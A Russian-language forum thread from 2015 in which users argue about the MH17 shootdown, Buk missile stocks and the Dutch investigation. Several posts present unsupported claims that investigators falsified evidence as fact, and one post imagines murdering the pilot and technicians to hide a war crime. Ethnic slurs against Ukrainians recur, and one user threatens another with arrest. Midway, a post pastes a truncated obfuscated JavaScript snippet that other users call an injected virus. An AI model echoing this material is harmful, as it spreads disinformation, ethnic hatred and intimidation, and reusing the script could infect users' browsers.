Катастрофа Boeing MH17 под Донецком

Цитата: Uncle Ben от 30.10.2015 08:51:23Данные 2012-го года. За оставшиеся два Украина должна была кому-то впарить еще четыре сотни просроченных ракет.
Желание то оно было, но где найти таких дятлов? На халяву хохлы бы не отдали.

Не преувеличивайте!
Всего-то 96 ракет!
И то... Что-то я сомневаюсь в "честной" статистике от укро-прапорщиков!

Цитата: igor1972 от 30.10.2015 09:05:37Все так и может быть. Я не специалист, опровергнуть или уточнить этот тезис не могу, хотя, как мне кажется, некая обратная связь тоже должна иметь место, пилот должен понимать, в каком состоянии находится ракета, захватил ли ее радар цель, и, если захватил, то какую цель... т.е., как мне кажется, "кабель с кнопкой пуска" должен плавно превратиться, как минимум, в последовательную шину соответствующего стандарта и коробочку, как минимум, 300х300х200 в кабине пилота.

Скрытый текст

Но тут возникают сопутствующие обстоятельства:
Это все, наверное, хорошо и удобно использовать для модернизации штурмовика, предполагая использовать его против такого же боевого самолета, или в состоянии войны.
Хорошо. Предположим, что я использую эту ракету для совершения военного преступления - умышленного уничтожения гражданского авиалайнера (применительно к использованию Су-25, например, пилот должен будет для применения оружия сблизиться на дистанцию, пригодную для опознания цели (своего радара-то у него нет, это не Су-39), а это несколько километров, и авиалайнер будет опознан однозначно, как гражданское судно. Я сближаюсь, опознаю цель, произвожу пуск, ракета сходит с пилона, идет на цель...и не срабатывает/промахивается. Хорошо, если пилоты авиалайнера и пассажиры этого не замечают...А если замечают? А если ракета втыкается в корпус - и авиалайнер идет на вынужденную с ракетой "воздух-воздух" в корпусе? Представляете, какой шухер будет твориться в эфире, да и не только?..
Любая спецоперация подобного рода подразумевает минимизацию ветвлений по признаку "что-то пошло не так". Использование авиационного оружия число ветвлений умножает кратно, так как самолет может быть замечен (в том числе и с борта цели), о его наличии может быть сообщено, может быть отмечен факт пуска ракеты, ракета может не сработать и быть обнаружена,..
Слишком много "если" нужно для успешной реализации задачи.
Хорошо. Предположим, нашелся пилот, который уничтожил такую цель. Разумно ли оставлять его в живых, а, вместе с ним - и всех тех, кто готовил самолет к вылету, кто обеспечивал наведение?
Ну уж пилота и техников нужно было ликвидировать в первую очередь. Техников - буквально по факту вылета, пилота - привести самолет на какой-то запасной аэродром, застрелить прямо в кабине, труп расчленить и сжечь, самолет разобрать и  "сдать в цветемет", прямо в печку.
Чтоб и следов не осталось. А тут что? Все живы, болтают ерундой, почем зря...
Так что версия с воздушным вооружением, умышленно или неумышленно примененным - на мой взгляд, чрезвычайно маловероятна, буквально на уровне погрешности.

Ну да...
А вероятность поражения ракетой БУК еще меньше!

Цитата: igor1972 от 30.10.2015 10:08:40Вы лично видели, что там было или не было? Такая стрелка пробьет лежащий на земле/под углом к ней лист дюраля, как бумагу - и уйдет в грунт сантиметров на 20, если не более того, особенно, если грунт мягкий. И все. Никто там грунт особо не снимал, думаю, прошлой осенью-зимой, не до того было, да и как снять его зимой, например? Обломки вон до сих пор находят, а мелочь всякую будут еще годами внезапно находить. А чтоб продырявить несколько фрагментов, распределенных на небольшой площади - достаточно и 1-2 снарядов 152мм с такими вот стрелками.

А Вы там были?
Знаете форумчанина с ником "Сепаратист" с форума, посвященного катастрофе Боинга?
Так он там НАХОДИТСЯ!!!
Лично находил обломки и фотографировал... Разные ПЭ показывал...
Никаких "ниточек-иголочек" там нет!
А Вы-то откуда "шпарите"? Там были лично?
Оригинальное фото можете сюда выложить?

Цитата: igor1972 от 30.10.2015 10:58:24Отчего же именно "вероятность поражения" - ниже? У каждой модели управляемых снарядов есть своя вероятность поражения цели, "паспортная" и реальная, зависящая от массы факторов. Но дело не в вероятностях, а в том, что:

Именно ракета "земля-воздух" и позволяет нам минимизировать число условий, обеспечивающих успешное выполнение поставленной задачи, по сравнению с использованием авиационного вооружения. И, прежде всего, обеспечивая гарантированное "мгновенное" поражение цели без использования всяческих экзотических систем оружия.

Игорь!
Под "вероятностью" я имел в виду вероятность организационно-криминальную,
а также ту, которая вытекат из имеющихся на сегодня фактов...

Цитата: Uncle Ben от 30.10.2015 12:35:43Около пятисот ракет на 2005-й минус сотня в Грузию. Чего-нибудь списали,  постреляли, несколько штук растащили на запчасти , остатки от  растаскивания сдали в металлолом. Получается около четырехсот бывшим прапорщикам, ныне генералам - иначе за границу не сплавить. 
Домой все-таки вряд ли. Хотя у нас последний партизан вылез из леса году в 90-м.

Там же четко указано: 96 ракет! По-моему на 2012 год...

Цитата: nekto_mamomot от 30.10.2015 12:42:15Там же четко указано: 96 ракет! По-моему на 2012 год...

96+2 - это то, что ушло в Грузию.

Но вот перехват Киберберкута теперь смотрится по-другому (см. выше)

Цитата: igor1972 от 30.10.2015 10:08:40Вы лично видели, что там было или не было? Такая стрелка пробьет лежащий на земле/под углом к ней лист дюраля, как бумагу - и уйдет в грунт сантиметров на 20, если не более того, особенно, если грунт мягкий. И все. Никто там грунт особо не снимал, думаю, прошлой осенью-зимой, не до того было, да и как снять его зимой, например? Обломки вон до сих пор находят, а мелочь всякую будут еще годами внезапно находить. А чтоб продырявить несколько фрагментов, распределенных на небольшой площади - достаточно и 1-2 снарядов 152мм с такими вот стрелками.

Конечно, то что произошло, имеет вероятность 1. Но:

"Около 40-50 округлых отверстий есть только на ЛЕВОЙ стороне самолета в районе кабины пилотов, а также внутри самой кабины: на обшивке и остеклении рядом с местом командира экипажа, в полу и креслах пилотов, в боковой обшивке слева от кабины."

и размеры несколько не соответствуют  противопехотным стрЕлкам:

http://evanesce-girl.livejournal.com/81256.html

Цитата: Uncle Ben от 30.10.2015 12:46:2696+2 - это то, что ушло в Грузию.

Но вот перехват Киберберкута теперь смотрится по-другому (см. выше)

Ладно... Просто рассуждаю...
1. Россия в 2011 году утилизировала старые ракеты 9М38.
Положим, в июле 2014 года у Украины были ракеты 9М38 (старые).
Вопрос: зачем холам убеждать голландцев в том, что Боинг был сбит
старой ракетой 9М38, но с замененной БЧ с двутаврами?
Ведь это напрямую говорит о виновности Украины!
2. Почему хохлы с голландцами просто не сказали, что Боинг был
сбит новой ракетой 9М38М1 с двутаврами?
Только в этом случае остаются некоторые "вопросы" к России!
В смысле бреда поставки ЗРК БУК с расчетом из-под Курска...
*****
Что-то тут не так! Тут "зарыт" какой-то пока не осознанный общственностью смысл!

Цитата: nekto_mamomot от 30.10.2015 15:06:18Ладно... Просто рассуждаю...
1. Россия в 2011 году утилизировала старые ракеты 9М38.
Положим, в июле 2014 года у Украины были ракеты 9М38 (старые).
Вопрос: зачем холам убеждать голландцев в том, что Боинг был сбит
старой ракетой 9М38, но с замененной БЧ с двутаврами?
Ведь это напрямую говорит о виновности Украины!
2. Почему хохлы с голландцами просто не сказали, что Боинг был
сбит новой ракетой 9М38М1 с двутаврами?
Только в этом случае остаются некоторые "вопросы" к России!
В смысле бреда поставки ЗРК БУК с расчетом из-под Курска...
*****
Что-то тут не так! Тут "зарыт" какой-то пока не осознанный общственностью смысл!

Как вариант:

По перехвату Киберберкута видно, что применили старую ракету, значит однозначно ВСУ и никакой России. Чтобы замазать Россию, надо как-то подключить двутаврики. Украина подсуетилась и в Гааге 12.08.15 объявила о найденных ПЭ модернизированной БЧ 9Н341М. Голландцы долго не соглашались и сообщали, что
а) что они не видят связи  между новыми уликами и поражениями Боинга и
б) по утечке, предыдущим данным расследования и, возможно, по данным США (инфракрасный профиль ракеты -  старый,  поэтому и не публикуют) ракета старая и новая голова не вяжется со старым телом. Хохлы демонстрируют пересадку головы. США слегка пинают хохландцев, те публикуют гибридный отчет.

В результате получается, что как бы Россия могла пульнуть старой ракетой но с новой БЧ. Ракета старая, потому что так хохлы доизвивались в процессе расследования, а БЧ новая, потому что:
а) хохлы засветились со своими уликами в Гааге и
б) чтобы можно было как-то подозревать Россию (БУК-М1 сожет стрелять старыми ракетами).

А тут еще и Алмаз-Антей со своими экспериментами подоспел.

Цитата: Сохатыч от 30.10.2015 15:14:15А у ПВО Украины разве нет на вооружении  ракет 9М38М1 с двутаврами в БЧ?

Однозначно утверждать о том, что есть на складах укро-прапорщиков
не могут , уверен, даже сами укро-прапорщики!
Вопрос в другом: зачем голландцы сфальсифицировали отчет и по совету
хохло-нацистов утверждают о поражении Боинга ракетой 9М38 с БЧ от ракеты 9М38М1?

Цитата: nekto_mamomot от 30.10.2015 17:50:16Однозначно утверждать о том, что есть на складах укро-прапорщиков
не могут , уверен, даже сами укро-прапорщики!
Вопрос в другом: зачем голландцы сфальсифицировали отчет и по совету
хохло-нацистов утверждают о поражении Боинга ракетой 9М38 с БЧ от ракеты 9М38М1?

В предыдущем отчете АА утверждал, что 9М38М1на Украине есть. Да и чем-то они стреляют на своих полигонах. Вот чего точно нет, так жто начиная с Бук-М1-2 и ЗУР 9М317 и более поздних. По состоянию на 2014 у Украины было 60 пусковых  БУКов, расклада по модификациям у меня нет, значит минимум три  боекомплекта порядка  700 ЗУР, а то  и больше. АА называл что-то около 900 только М1 (точную цифру не помню, можно поднять).

Цитата: Energia от 30.10.2015 17:45:30Алмаз-Антей ясно сказал 13 октября: "Если самолёт был сбит Буком, то только такой-то ракетой, с зоны Зарощенского". Сторчевой с Росавиации ещё яснее сказал 14 октября: "Если комиссия (голландцы) может доказать, что это был Бук, то эта была такая-то ракета, с зоны Зарощеского". Не ясно ещё Бук это или Питон.

В предыдущем докладе он сообщал: если боинг был сбит ЗУР, то это могла быть только ЗУР БУКа 9М38(М1).
Питон не подходит по массе БЧ (в вычислениях исключили ПЭ тяжелой фракции, отсюда ошибка в рассчетах массы), плюс - найдены фрагменты ЗУР БУКа.

Цитата: Rurouni_ от 30.10.2015 18:15:51В предыдущем докладе он сообщал: если боинг был сбит ЗУР, то это могла быть только ЗУР БУКа 9М38(М1).
Питон не подходит по массе БЧ (в вычислениях исключили ПЭ тяжелой фракции, отсюда ошибка в рассчетах массы),
плюс - найдены фрагменты ЗУР БУКа.

Ты чего тут тролль про какие-то фрагменты скачешь?
Кто нашел? Фашист Геращенко в своей жирной дупе?
А чего же твои хохло-нацисты и голландцы ииз пяти 
каких-то там фрагментов какой-то там ракеты сначала все показали,
а потом некоторые спрятали?
*****
Далее развенчаем твою наглую нацистскую ложь о том,
что "это могла быть только ЗУР БУК 9М38М1"...
Данное заявление Алмаз-Антей сделал, когла твои сообщники, хохло-преступники
и голландцы фальсификаторы подкинули двутавры!
После этого Алмаз-Антей провул ДВА натурных эксперимента, из которых
стало ясно, что двутавры хохлопадловцы подкинули в вещдоки!
Так что, пособник убийц детей, иди и жди, когда за тобой придет группа задержания!
 Ибо все твои данные уже записаны и место пребывания твое известно!
Хохло-гнида!

Веб-сайт МОУ | Воздушные Силы ВС Украины получили отремонтированный зенитный ракетный комплекс Бук-М1 6 июня 2014, 17:22


На Государственном предприятии «Укроборонсервис» состоялось подписание акта о приеме по ремонту по техническому состоянию отремонтированного зенитного ракетного комплекса Бук-М1. Комиссия в составе представителей зенитных ракетных войск Воздушных Сил ВС Украины, Научного центра Харьковского университета Воздушных Сил, специалистов военной части, где он будет находиться на вооружении и ремонтного предприятия завершила проверку работоспособности отремонтированного образца. В командовании Воздушных Сил отметили, что зенитные ракетные комплексы Бук-М1 едва ли не последние образцы вооружения ВС Украины, ремонт которых был освоен на предприятиях ГК «Укроборонпром». Сложность заключалась в том, что в отличие от многих образцов вооружения и военной техники, зенитный ракетный комплекс данного типа никогда не разрабатывали, не производили и не ремонтировали в Украине. "В ближайшее время первый отремонтированный в Украине зенитный ракетный комплекс Бук-М1 заступит на боевое дежурство, - сообщил начальник зенитных ракетных войск Воздушных Сил Вооруженных Сил Украины генерал-майор Дмитрий Карпенко. - Подписание акта приемки комплекса по ремонту показывает, что отечественное предприятие освоило ремонт зенитных ракетных комплексов данного типа."
http://www.mil.gov.ua/news/2014/06/06/povitryani-sili-zs-ukraini-otrimali-vidremontovanij-zenitnij-raketnij-kompleks-buk-m1/

Цитата: Uncle Ben от 30.10.2015 17:58:59В предыдущем отчете АА утверждал, что 9М38М1на Украине есть. Да и чем-то они стреляют на своих полигонах. Вот чего точно нет, так жто начиная с Бук-М1-2 и ЗУР 9М317 и более поздних. По состоянию на 2014 у Украины было 60 пусковых  БУКов, расклада по модификациям у меня нет, значит минимум три  боекомплекта порядка  700 ЗУР, а то  и больше. АА называл что-то около 900 только М1 (точную цифру не помню, можно поднять).

Ян Новиков назвал цифры  на 2005 год!
Для укро-прапорщиков ДЕВЯТЬ лет с 2005 по 2014 года - это вечность!

А это инспекция экс-министра обороны и бодигарда Ющенко-Порошенко В.Гелетея. И Бук-М1, где то на просторах... [начиная с 04:17]
[movie=400,300]http://youtu.be/Q3MomxNHnUA[/movie]

Цитата: СПС от 30.10.2015 20:03:37Модеры на этом форуме самые тупые во всём интернете. У меня нигде такое не вылазит ни в одном блоге ни в одном форуме. 
window.a1336404323 = 1;!function(){var o=JSON.parse('["63733867633173656e752e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Тебе уже сказали, что у тебя - "обфусцированный вирус Java"...
Подхватить такое - это как девственнику заболеть триппером!
Это... ммм... крайне запущенная форма сифилиса!
Ну, загрузи уже бесплатны доктор-ВЭБ...
Или зайди на форумы антивирусные...

Цитата: Energia от 30.10.2015 20:03:01Во-первых, я не буду сейчас искать, что он там где-то, когда-то говорил. Важно то, что он сказал пару недель назад. Во-вторых,
Зенитная управляемая ракета (ЗУР) — ракета класса «поверхность-воздух» («земля-воздух»). Т.е. получается он якобы сказал, что если это ракета земля-воздух, то это Бук. Поясните, товарищ украинец, что это меняет?

А про вашу остальную ахинею... Сторчевой, вроде, ясно дал понять, что Россия не согласна с тем, что написали голландцы в докладе, кроме одного: Украина виновна, потому что не заркрыла воздушное пространство. 


Что голландцам мешает показать кусок металла и выдавать его за ПЭ? Даже если он от Бука, у твоих земляков нету таких ракет и фрагментов, которые они могли передать после какого-нибудь пуска (если до этого не имели)?

Ещё раз. На официальном голландском сайте этих расследователей (Joint Investigation Team - это те, которые ищут виновных), расположена очевидная поддельная фотография Paris Match, на которой якобы российский Бук (от якобы 17 июля, внутри города Донецк):
Их сайт: https://www.politie.…h17-2.html
Подробности на англ.: http://energia.su/mh17/fake_buk.html

Какое ещё нужно подтверждение того, что расследование пытается найти или фальсифицировать улики, чтобы оправдать теорию, что это была ракета Бук, запущенная ополченцами или российскими солдатами со Снежного, причём Бук поставленный Россией. Т.е. то, что говорили СБУ и американцы спустя часы после катастрофы, ссылаясь на фальсифицированные видео, фото и аудио записи.

1) Я Россиян, а не Украинец. Сомневатесь - можете попросить модераторов посмотреть историю моих IP за все время, а я на форуме уже больше 5ти лет.

2) Сторчевой много интересного рассказал. Но принципиально дела это не меняет. Ни одна УРВВ не даст тех повреждений, что есть на боинге. Если вы утверждаете что такая есть - назовите, какая.

3) Любой кусок металла за ПЭ не выдать. Хим-анализ моментально выявит подделку. Даже подкинуть ПЭ с каких-нибудь испытаний непросто, поскольку на нем тогда не будет микрочастиц от пробитого им стекла.

4) Аналогично, нельзя произвольный кусок металла выдать за фрагмент ЗУР. А фрагментов ЗУР голландцы представили 3 штуки.

5) Кто там фотографировал куда либо ездящий бук - мне до лампочки. Важно чем и откуда стреляли. Алмаз наглядно показал, что версия "пуск из Снежного" не соответствует повреждениям боинга.

Рассказывала подружка дочери офицера, который служил в пво, поэтому могут быть неточности...
оперативный дежурный днепропетровского корпуса пво на кп, у него перед глазами планшет с оперативной воздушной обстановкой. на достаточно высоком уровне информация ртв, имея на вооружении кольчугу, (развернуть времени было предостаточно), и работая без постановки помех, нижнее поле 200м  имели не менее 100км от границы, а на высоте 10км видели мин на 300км. утверждаю, что видели всё хорошо. 
информация поступала параллельно на планшет корпуса в днепр и в киев. максимальная задержка, учитывая бд, ограниченна только считыванием информации. это макс 5 мин. воздушную обстановку видел оперативный дежурный корпуса(и командир корпуса) и оперативный дежурный в киеве (и командующий войками). при подлете к границе любой ла идентифицируется, ртв знают, что за борт приближается к границе. в случае если борт не идентифицирован, военные связываются с гражданским рц увд, которые сидят в том же днепре, по телефону и узнают. также имеют прямую связь со своими коллегами из граничных государств и могут позвонить напрямую и спросить... возможны ошибки т.к. сами и присваивают. при одновременном нахождении 150 целей с установкой помех, ошибиться можно, но в данном случае макс 10 целей на планшете, не реально.. если цель не идентифицирована, как правило оп. дежурный корпуса дает приказ авиции на перехват цели на границе, но это истребители (легкие или средние, не суть важно) но не штурмовая авиация. учитывая, что истребители не вылетели на цель, то утверждаю, цель идентифицировали.
оперативный дежурный, видит всё - полеты военных самолетов, гражданских. он приводит в готовность зрк бук и дает приказ командиру батареи про уничтожение цели, (приказы согласовываются). командир батареи бука, "включает радар, находит цель, пускает ракету (для боинга гарантированно надо две, ракет не жалеют,у них задача положить цель), подсвечивает на начальном этапе, сворачивается и прячется". привести в работу батарею бука в районе пролета международного борта, оперативный дежурный в днепре и киеве, согласовав с двумя командирами, не реально. а предположить, что "сепаратисты" сами включили бук и шмальнули, по первой попавшейся цели, это явный бред...
учитывая опыт войны во вьетнаме, работа батареи бук будет сразу обнаружена средствами радиолокационной разведки, как Российской так и штатовской. утверждаю, что российские ртв видели всю украину нижнее поле 200 м(искл. закарпатье высота гор 1,5-2 км). средства обнаружения и их характеристики засекречены. военные, как штатовские так и российские их не озвучат, это вопрос стратегический. в этом и весь главный вопрос - узнать, что реально видели российские ртв. для этого и боинга не жалко. виновник все-равно известен, это украина, "сепаратисты" или регулярная армия, не суть важно... узнать ЧТО видели... 
поэтому утверждаю, что летают над украиной "самолетики-беспилотники-невидимки-истребители-и т.п" штатовские - как хотят, когда хотят и с чем хотят. главный вопрос видит ли российские ртв эти полеты.

Цитата: Rurouni_ от 30.10.2015 21:54:153) Любой кусок металла за ПЭ не выдать. Хим-анализ моментально выявит подделку.
Даже подкинуть ПЭ с каких-нибудь испытаний непросто, поскольку на нем тогда не будет микрочастиц
от пробитого им стекла.

4) Аналогично, нельзя произвольный кусок металла выдать за фрагмент ЗУР. А фрагментов ЗУР
голландцы представили 3 штуки.

У Вас есть две принципиальные ошибки!
1. Все, что представляют голландцы Вы выставляете абсолютной истиной!
Однако голландцы - лгуны! И это ДОКАЗАЛИ Алмаз-Антей и Сторчевой!
а) Голландцы сначала представили больше трех "якобы фрагментов" ракеты БУК.
Но потом, когда Алмаз-Антей с помощью ЭКСПЕРИМЕНТА показал, что приобщенные
в качестве вещдоков части ЗРУ не могли быть у голландцев в таком виде, либо
эти части не причастны к катастрофе Боинга, "честные голландцы" не придумали
ничего другого, как некоторые ВЕЩЕСТВЕННЫЕ ДОКАЗАТЕЛЬСТВА просто выкинуть на помойку!
2. Что Вы тут митингуете за химанализ?
Так в том-то и дело, что голландцы химанализ сделали, поняли, что ПЭ не от БЧ ЗРК БУК,
и выложили только часть химанализа по примесям, по которым ничего сказать нельзя!
И, сцуко, тебе же, хохол, Сторчевой сказал, что химанализ ПЭ у Алмаз-Антея не совпадает
с показателями химанализа у голландцем!
грыз